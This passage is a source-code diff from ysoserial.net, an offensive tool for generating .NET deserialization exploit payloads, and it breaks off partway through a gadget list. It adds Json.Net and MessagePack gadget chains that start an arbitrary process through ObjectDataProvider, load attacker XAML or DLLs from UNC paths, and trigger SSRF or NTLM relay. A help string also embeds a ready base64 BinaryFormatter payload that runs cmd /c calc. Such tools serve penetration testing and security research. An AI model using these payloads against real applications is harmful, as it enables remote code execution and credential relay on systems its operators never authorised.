System.Text; +using System.Threading.Tasks; +using System.Windows.Data; +using ysoserial.Helpers; + +namespace ysoserial.Generators +{ + public class XamlImageInfoGenerator : GenericGenerator + { + // XamlImageInfo + // XamlImageInfo constructor leads to XamlReader.Load(Stream) call + + // We need to deserialize Stream to exploit this. There are currently 2 variants implemented + // 1 - (GAC) LazyFileStream for stream delivery. Can be remote XAML file (like \\192.168.1.100\poc\poc.xaml) or local file + // 2 - (non-GAC) ReadOnlyStreamFromStrings - allows to directly deliver XAML gadget + + private int variant_number = 1; // Default + + public override List SupportedFormatters() + { + return new List { "Json.Net" }; // MessagePack may work too, but it may have issues with the XamlImageInfo constructor (to be verified) + } + + public override string Name() + { + return "XamlImageInfo"; + } + + public override string Finders() + { + return "Piotr Bazydlo"; + } + + public override OptionSet Options() + { + OptionSet options = new OptionSet() + { + {"var|variant=", "Variant number. Variant defines a different Stream delivery class. Choices: \r\n1 (default and GAC) - LazyFileStream for Stream delivery, file path has to be provided for -c argument (UNC or local) " + + "\r\n2 (non-GAC, requires Microsoft.Web.Deployment.dll) - ReadOnlyStreamFromStrings for Stream delivery, command to execute can be provided for -c argument", v => int.TryParse(v, out variant_number) }, + }; + + return options; + } + + public override string AdditionalInfo() + { + return "Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll"; + } + + public override List Labels() + { + return new List { GadgetTypes.NotBridgeButDervied, "Variant 1 in GAC, Variant 2 not in GAC" }; + } + + public override string SupportedBridgedFormatter() + { + return Formatters.BinaryFormatter; + } + + public override object Generate(string formatter, InputArgs inputArgs) + { + + String payload; + + if (formatter.ToLowerInvariant().Equals("json.net")) + { + + if (variant_number == 2) + { + ProcessStartInfo psi = new ProcessStartInfo(); + + psi.FileName = inputArgs.CmdFileName; + if (inputArgs.HasArguments) + { + psi.Arguments = inputArgs.CmdArguments; + } + + StringDictionary dict = new StringDictionary(); + psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); + Process p = new Process(); + p.StartInfo = psi; + ObjectDataProvider odp = new ObjectDataProvider(); + odp.MethodName = "Start"; + odp.IsInitialLoadEnabled = false; + odp.ObjectInstance = p; + + String xamlPayload = SerializersHelper.Xaml_serialize(odp).Replace("utf-16","utf-8"); + + String streamPayload = @"{ + '$type':'Microsoft.Web.Deployment.ReadOnlyStreamFromStrings, Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'enumerator':{ + '$type':'Microsoft.Web.Deployment.GroupedIEnumerable`1+GroupEnumerator[[System.String, mscorlib]], Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'enumerables': + [ + { + '$type':'System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib', + '$values':[''] + } + ] + }, + 'stringSuffix':'" + xamlPayload + @"' + }"; + + payload = @"{ + '$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'stream':" + streamPayload + @" +}"; + } + else + { + if (inputArgs.Test) + { + Console.WriteLine("This gadget loads remote/local file: -c argument should provide a file path to your XAML file. UNC path can be used for the remote file loading\r\nExample: ysoserial.exe -g XamlImageInfo -f Json.Net -c '\\\\attacker\\poc\\your.xaml'"); + } + + inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; + inputArgs.IsRawCmd = true; + + payload = @"{ + '$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'stream':{ + '$type':'Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35','path':'" + inputArgs.CmdFullString + @"' + } +}"; + } + + if (inputArgs.Minify) + { + if (inputArgs.UseSimpleType) + { + payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null); + } + else + { + payload = JsonHelper.Minify(payload, null, null); + } + } + + if (inputArgs.Test) + { + try + { + SerializersHelper.JsonNet_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return payload; + } + else + { + throw new Exception("Formatter not supported"); + } + } + } +} diff --git a/ysoserial/Helpers/GadgetSurrogates/GetterSettingsPropertyValueSurrogates.cs b/ysoserial/Helpers/GadgetSurrogates/GetterSettingsPropertyValueSurrogates.cs new file mode 100644 index 0000000..5d8603a --- /dev/null +++ b/ysoserial/Helpers/GadgetSurrogates/GetterSettingsPropertyValueSurrogates.cs @@ -0,0 +1,21 @@ +namespace ysoserial.Helpers.SurrogateClasses +{ + /// + /// Surrogate class for bait-and-switch version of SettingsPropertyValue. + /// + internal sealed class SettingsPropertyValueSurrogate + { + public bool Deserialized { get; set; } + public object SerializedValue { get; set; } + public object property { get; set; } + + } + + /// + /// Surrogate class for bait-and-switch version of PropertyGrid. + /// + internal sealed class PropertyGridSurrogate + { + public object[] SelectedObjects { get; set; } + } +} diff --git a/ysoserial/Helpers/MessagePackGetterSettingsPropertyValueHelper.cs b/ysoserial/Helpers/MessagePackGetterSettingsPropertyValueHelper.cs new file mode 100644 index 0000000..607366d --- /dev/null +++ b/ysoserial/Helpers/MessagePackGetterSettingsPropertyValueHelper.cs @@ -0,0 +1,112 @@ +namespace ysoserial.Helpers +{ + using System; + using System.Reflection; + using System.Collections.Generic; + + using MessagePack; + using MessagePack.Formatters; + using MessagePack.Resolvers; + + using Helpers.SurrogateClasses; + + /// + /// Helper methods for generating an GetterSettingsPropertyValue gadget with MessagePack (Typeless) + /// This version of gadget works for MessagePack >= 2.3.75, but may also work for older versions after some tweaking + /// + internal static class MessagePackGetterSettingsPropertyValueHelper + { + /// + /// Creates a serialized GetterSettingsPropertyValue gadget that when deserialized will execute the specified command. + /// + /// Binary formatter gadget. + /// Flag to use Lz4 compression. This works with both Lz4Block and Lz4BlockArray. + /// The serialized byte array. + internal static byte[] CreateGetterSettingsPropertyValueGadget(byte[] binaryFormatterGadget, bool pUseLz4) + { + SwapTypeCacheNames( + new Dictionary + { + { + typeof(SettingsPropertyValueSurrogate), + "System.Configuration.SettingsPropertyValue, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089" + }, + { + typeof(PropertyGridSurrogate), + "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089" + }, + }); + + var odpInstance = CreateGetterSettingsPropertyValueSurrogateInstance(binaryFormatterGadget); + + MessagePackSerializerOptions options = pUseLz4 + ? TypelessContractlessStandardResolver.Options.WithCompression(MessagePackCompression.Lz4BlockArray) + : TypelessContractlessStandardResolver.Options; + + return MessagePackSerializer.Serialize(odpInstance, options); + } + + /// + /// Tests the deserialization of a serialized object. + /// + /// The serialized data. + /// Flag to use Lz4 compression. This works with both Lz4Block and Lz4BlockArray. + internal static void Test(byte[] pSerializedData, bool pUseLz4) + { + MessagePackSerializerOptions options = pUseLz4 + ? TypelessContractlessStandardResolver.Options.WithCompression(MessagePackCompression.Lz4BlockArray) + : TypelessContractlessStandardResolver.Options; + + Object obj = MessagePackSerializer.Deserialize(pSerializedData, options); + } + + /// + /// Utilizes reflection to add values to the internal FullTypeNameCache that MessagePack uses to acquire cached type names for serialization. + /// This allows us to swap our surrogate GetterSettingsPropertyValue gadget type information with the real gadget AQNs when serialized. + /// + /// + /// The dictionary of type name cache entries to swap. + /// Key = The type that the serializer has found. + /// Value = The real gadget type AQN string which we want to use instead of the surrogate type AQN. + /// + private static void SwapTypeCacheNames(IDictionary pNewTypeCacheEntries) + { + FieldInfo typeNameCacheField = typeof(TypelessFormatter).GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static); + object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance); + + MethodInfo method = typeNameCacheField.FieldType.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) }); + + foreach (var typeSwap in pNewTypeCacheEntries) + { + method.Invoke(typeNameCache, + new object[] + { + typeSwap.Key, + System.Text.Encoding.UTF8.GetBytes(typeSwap.Value) + }); + } + } + + /// + /// Creates a populated surrogate GetterSettingsPropertyValue instance which matches the object graph of the real GetterSettingsPropertyValue gadget. + /// + /// Binary formatter gadget. + /// The full GetterSettingsPropertyValue surrogate object graph. + private static object CreateGetterSettingsPropertyValueSurrogateInstance(byte[] binaryFormatterGadget) + { + + return new PropertyGridSurrogate + { + SelectedObjects = new object[] + { + new SettingsPropertyValueSurrogate + { + Deserialized = false, + SerializedValue = binaryFormatterGadget + } + } + }; + + } + } +} diff --git a/ysoserial/Plugins/GetterCallGadgetsPlugin.cs b/ysoserial/Plugins/GetterCallGadgetsPlugin.cs new file mode 100644 index 0000000..b6f5cbf --- /dev/null +++ b/ysoserial/Plugins/GetterCallGadgetsPlugin.cs @@ -0,0 +1,263 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.Serialization; +using NDesk.Options; +using ysoserial.Helpers; + +namespace ysoserial.Plugins +{ + // Author: Piotr Bazydlo + // Implements arbitrary getter call gadgets for .NET + // Gadgets implemented for Json.Net only + // Feel free to implement new gadgets or contribute by adding new formatters (JavaScriptSerializer, MessagePack or any other) + // On more details about chaining arbitrary getter call gadgets with different gadgets, see: https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf + + public class GetterCallGadgetsPlugin : IPlugin + { + private static string file = ""; + private static string gadget = ""; + private static string member = ""; + private static bool showList; + private static bool test; + private static bool minify; + + private static readonly OptionSet options = new OptionSet + { + { + "l", "prints list of implemented gadgets", v => + { + if (v != null) showList = true; + } + }, + {"i|inner=", "file containing inner-gadget", v => file = v}, + {"g|gadget=", "gadget to use", v => gadget = v}, + {"m|member=", "getter to call (required for some gadgets)", v => member = v}, + { + "t", "test gadget (execute)", v => + { + if (v != null) test = true; + } + }, + { + "minify", "minify gadget", v => + { + if (v != null) minify = true; + } + } + }; + + public string Name() + { + return "GetterCallGadgets"; + } + + public string Description() + { + return "Implements arbitrary getter call gadgets for .NET Framework and .NET 5/6/7 with WPF enabled, run with -l for more help"; + } + public string Credit() + { + return "Piotr Bazydlo"; + } + public OptionSet Options() + { + return options; + } + + public string GadgetsList() + { + return @" +Plugin allows you to chain any ""insecure serialization"" gadget with the arbitrary getter call gadget. +You can use this pluing to chain serialization gadgets found in different codebases with arbitrary getter call gadget and reach malicious getter call. +Several chain of gadgets are already implemented in the ysoserial.net, see following gadgets: +- GetterSecurityException +- GetterSettingsPropertyValue +- GetterCompilerResults +- GetterActiveMQObjectMessage in ThirdPartyGadgets plugin + +For more information about chaining arbitrary getter call gadgets with insecure getter gadgets, see following white paper (""Arbitrary Getter Call Gadget Idea"" and ""Combining Getter Gadgets with Insecure Serialization Gadgets""): https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf + +Gadgets are implemented for Json.NET only, but some of them are applicable to different serializers too (like JavaScriptSerializer or MessagePack). + +Gadgets: + + (*) PropertyGrid + [Finders: Piotr Bazydlo] + + (*) ListBox - requires member to be specified + [Finders: Piotr Bazydlo] + + (*) CheckedListBox - requires member to be specified + [Finders: Piotr Bazydlo] + + (*) ComboBox - requires member to be specified (may execute your inner gadget twice) + [Finders: Piotr Bazydlo] + +Exemplary usage: + + ysoserial.exe -p GetterCallGadgets -l + + Sample gadget generation: + + > cat .\innergadget.json + { + '$type':'System.Security.SecurityException', + 'ClassName':'System.Security.SecurityException', + 'Message':'Security error.', + 'InnerException':null, + 'HelpURL':null, + 'StackTraceString':null, + 'RemoteStackTraceString':null, + 'RemoteStackIndex':0, + 'ExceptionMethod':null, + 'HResult':-2146233078, + 'Source':null, + 'Action':0, + 'Method':'AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL', + 'Zone':0 + } + + ysoserial.exe -p GetterCallGadgets -g ListBox -m Method -i .\innergadget.json + +"; + } + + //PropertyGrid gadget + public string PropertyGrid(string file) + { + return @" +{ + ""$type"":""System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"", + ""SelectedObjects"": + [ +" + ReadInner(file) + @" + ] +}"; + } + + //ListBox gadget + public string ListBox(string file, string member) + { + return @"{ + '$type':'System.Windows.Forms.ListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items': + [ +" + ReadInner(file) + @" + ], + 'DisplayMember':'" + member + @"', + 'Text':'whatever' +}"; + } + + //CheckedListBox gadget + public string CheckedListBox(string file, string member) + { + return @"{ + '$type':'System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items': + [ +" + ReadInner(file) + @" + ], + 'DisplayMember':'" + member + @"', + 'Text':'whatever' +}"; + } + + public string ComboBox(string file, string member) + { + return @"{ + '$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items': + [ +" + ReadInner(file) + @" + ], + 'DisplayMember':'" + member + @"', + 'Text':'whatever' +}"; + } + + public string ReadInner(string file) + { + return File.ReadAllText(file); + } + + public object Run(string[] args) + { + + List extra = options.Parse(args); + + //Print list of gadgets + if (showList) + { + return GadgetsList(); + } + + //inputs verification + try + { + if (string.IsNullOrWhiteSpace(gadget)) throw new ArgumentException("A gadget name must be provided."); + + if ((gadget.ToLower() == "listbox" || gadget.ToLower() == "checkedlistbox" || gadget.ToLower() == "combobox") && string.IsNullOrWhiteSpace(member)) throw new ArgumentException("Member has to be provided for the " + gadget + " gadget"); + + if (string.IsNullOrWhiteSpace(file)) throw new ArgumentException("File with inner gadget has to be provided."); + } + catch (Exception e) + { + Console.Write("ysoserial: "); + Console.WriteLine(e.Message); + Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information."); + Console.WriteLine("Try 'ysoserial -p " + Name() + " -l' for the list of implemented gadgets"); + Environment.Exit(-1); + } + + + //gadgets generation + String payload = ""; + + if (gadget.ToLower() == "propertygrid") + { + payload = PropertyGrid(file); + } + else if (gadget.ToLower() == "listbox") + { + payload = ListBox(file, member); + } + else if (gadget.ToLower() == "checkedlistbox") + { + payload = CheckedListBox(file, member); + } + else if (gadget.ToLower() == "combobox") + { + payload = ComboBox(file, member); + } + else + { + Console.WriteLine("Gadget " + gadget + " does not exist! Use -l option to show available gadgets"); + Environment.Exit(-1); + } + + //minify + if (minify) + { + //If different formatters get implemented, please make sure that we verify formatter here + payload = JsonHelper.Minify(payload, null, null); + } + + //tests + if (test) + { + try + { + SerializersHelper.JsonNet_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(new InputArgs(), err); + } + } + + return payload; + } + } +} \ No newline at end of file diff --git a/ysoserial/Plugins/NetNonRceGadgetsPlugin.cs b/ysoserial/Plugins/NetNonRceGadgetsPlugin.cs new file mode 100644 index 0000000..8fc82aa --- /dev/null +++ b/ysoserial/Plugins/NetNonRceGadgetsPlugin.cs @@ -0,0 +1,306 @@ +using System; +using System.Collections.Generic; +using NDesk.Options; +using ysoserial.Helpers; + +namespace ysoserial.Plugins +{ + // Author: Piotr Bazydlo + // Implements Non-RCE gadgets for .NET Framework. + // Gadgets are implemented for several serializers but some of serializers are not implemented (like MessagePack) + // Feel free to add any gadget here or contribute with the implementations for different serializers + + public class NetNonRceGadgetsPlugin : IPlugin + { + private static string input = ""; + private static string gadget = ""; + private static string formatter = ""; + private static bool showList; + private static bool test; + private static bool minify; + private static readonly OptionSet options = new OptionSet + { + { + "l", "prints list of implemented gadgets", v => + { + if (v != null) showList = true; + } + }, + {"i|input=", "input to the gadget", v => input = v}, + {"g|gadget=", "gadget to use", v => gadget = v}, + {"f|formatter=", "Formatter to use", v => formatter = v}, + { + "t", "test gadget (execute after generation)", v => + { + if (v != null) test = true; + } + }, + { + "minify", "minify gadget", v => + { + if (v != null) minify = true; + } + } + }; + + public string Name() + { + return "NetNonRceGadgets"; + } + + public string Description() + { + return "Implements Non-RCE gadgets for .NET Framework"; + } + public string Credit() + { + return "Piotr Bazydlo"; + } + public OptionSet Options() + { + return options; + } + + public string GadgetsList() + { + return @" +Gadgets: + + (*) PictureBox - SSRF / NTLM Relay gadget. Protocols that can be used: http, https, ftp, file + Formatters: Json.Net, JavaScriptSerializer, Xaml + [Finders: Piotr Bazydlo] + + (*) InfiniteProgressPage - SSRF / NTLM Relay gadget. Protocols that can be used: http, https, ftp, file + Formatters: Json.Net, JavaScriptSerializer, Xaml + [Finders: Piotr Bazydlo] + + (*) FileLogTraceListener - directory creation gadget.May lead to DoS, when executed with admin privileges. + Formatters: Json.Net, JavaScriptSerializer, Xaml + [Finders: Piotr Bazydlo] + +Exemplary usage: + + ysoserial.exe -p NetNonRceGadgets -l + + ysoserial.exe -p NetNonRceGadgets -g PictureBox -f Json.Net -i ""http://192.168.1.100/ssrf"" + + ysoserial.exe -p NetNonRceGadgets -g FileLogTraceListener -f JavaScriptSerializer -i 'C:\\Users\\Public\\pocdir' -t +"; + } + + //PictureBox gadget + public string PictureBox(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'System.Windows.Forms.PictureBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'WaitOnLoad':'true', + 'ImageLocation':'" + input + @"' +}"; + } + else if (formatter.ToLower() == "javascriptserializer") + { + gadget = @" +{ + '__type':'System.Windows.Forms.PictureBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'WaitOnLoad':'true', + 'ImageLocation':'" + input + @"' +}"; + } + else if (formatter.ToLower() == "xaml") + { + gadget = @" + +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + + return gadget; + } + + //InfiniteProgressPage gadget + public string InfiniteProgressPage(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Microsoft.ApplicationId.Framework.InfiniteProgressPage, Microsoft.ApplicationId.Framework, Version=10.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'AnimatedPictureFile':'" + input + @"' +}"; + } + else if (formatter.ToLower() == "javascriptserializer") + { + gadget = @" +{ + '__type':'Microsoft.ApplicationId.Framework.InfiniteProgressPage, Microsoft.ApplicationId.Framework, Version=10.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'AnimatedPictureFile':'" + input + @"' +}"; + } + else if (formatter.ToLower() == "xaml") + { + gadget = @" + + +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the InfiniteProgressPage gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //FileLogTraceListener gadget + public string FileLogTraceListener(string input, string formatter) + { + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a', + 'CustomLocation':'" + input + @"' +}"; + } + else if (formatter.ToLower() == "javascriptserializer") + { + gadget = @" +{ + '__type':'Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a', + 'CustomLocation':'" + input + @"' +}"; + } + else if (formatter.ToLower() == "xaml") + { + gadget = @" + +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the FileLogTraceListener gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + public object Run(string[] args) + { + + List extra = options.Parse(args); + + //Print list of gadgets + if (showList) + { + return GadgetsList(); + } + + //inputs verification + try + { + if (string.IsNullOrWhiteSpace(gadget)) throw new ArgumentException("A gadget name must be provided."); + + if (string.IsNullOrWhiteSpace(formatter)) throw new ArgumentException("A formatter name must be provided."); + + if (string.IsNullOrWhiteSpace(input)) throw new ArgumentException("An input to the gadget must be provided."); + } + catch (Exception e) + { + Console.Write("ysoserial: "); + Console.WriteLine(e.Message); + Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information."); + Console.WriteLine("Try 'ysoserial -p " + Name() + " -l' for the list of implemented gadgets and formatters."); + Environment.Exit(-1); + } + + + //gadgets generation + String payload = ""; + + if (gadget.ToLower() == "picturebox") + { + payload = PictureBox(input, formatter); + } + else if (gadget.ToLower() == "infiniteprogresspage") + { + payload = InfiniteProgressPage(input, formatter); + } + else if (gadget.ToLower() == "filelogtracelistener") + { + payload = FileLogTraceListener(input, formatter); + } + else + { + Console.WriteLine("Gadget " + gadget + " does not exist! Use -l option to show available gadgets"); + Environment.Exit(-1); + } + + //minify + if (minify) + { + if (formatter.ToLower() == "json.net" || formatter.ToLower() == "javascriptserializer") + { + payload = JsonHelper.Minify(payload, null, null); + } + } + + //tests + if (test) + { + if (formatter.ToLower() == "json.net") + { + try + { + SerializersHelper.JsonNet_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(new InputArgs(), err); + } + } + else if (formatter.ToLower() == "javascriptserializer") + { + try + { + SerializersHelper.JavaScriptSerializer_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(new InputArgs(), err); + } + } + else if (formatter.ToLower() == "xaml") + { + try + { + SerializersHelper.Xaml_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(new InputArgs(), err); + } + } + } + + return payload; + } + } +} \ No newline at end of file diff --git a/ysoserial/Plugins/ThirdPartyGadgetsPlugin.cs b/ysoserial/Plugins/ThirdPartyGadgetsPlugin.cs new file mode 100644 index 0000000..8255c0f --- /dev/null +++ b/ysoserial/Plugins/ThirdPartyGadgetsPlugin.cs @@ -0,0 +1,619 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using NDesk.Options; +using ysoserial.Generators; +using ysoserial.Helpers; + +namespace ysoserial.Plugins +{ + // Author: Piotr Bazydlo + // Implements gadgets for 3rd party libraries. + // Gadgets are implemented for several serializers but some of serializers are not implemented (like MessagePack) + // Feel free to add any gadget here or contribute with the implementations for different serializers + + public class ThirdPartyGadgetsPlugin : IPlugin + { + private static string input = ""; + private static string gadget = ""; + private static string formatter = ""; + private static bool showList; + private static bool removeVersion; + private static bool test; + private static bool minify; + + private static readonly OptionSet options = new OptionSet + { + { + "l", "prints list of implemented gadgets", v => + { + if (v != null) showList = true; + } + }, + {"i|input=", "input to the gadget", v => input = v}, + {"g|gadget=", "gadget to use", v => gadget = v}, + {"f|formatter=", "formatter to use", v => formatter = v}, + {"r", "removes version and pubkeytoken from types, it may be useful when we do not know version of targetd library or require short payload", v => + { + if (v != null) removeVersion = true; + } + }, + { + "t", "test gadget (execute after generation)", v => + { + if (v != null) test = true; + } + }, + { + "minify", "minify gadget", v => + { + if (v != null) minify = true; + } + } + }; + + public string Name() + { + return "ThirdPartyGadgets"; + } + + public string Description() + { + return "Implements gadgets for 3rd Party Libraries"; + } + public string Credit() + { + return "Piotr Bazydlo"; + } + public OptionSet Options() + { + return options; + } + + public string GadgetsList() + { + return @" +Gadgets: + + (*) UnmanagedLibrary (Grpc.Core) - RCE with remote DLL loading (native C/C++ DLL can be loaded) + Affects: .NET Framework and .NET 5/6/7 + Input: path to the DLL (UNC path for remote loading or local path) + Formatters: Json.Net + Tested Version: 2.46.6 + [Finders: Piotr Bazydlo] + + (*) WindowsLibrary (MongoDB Libmongocrypt) - RCE with remote DLL loading (native C/C++ DLL can be loaded) + Affects: .NET Framework and .NET 5/6/7, alternatives exist for Linux 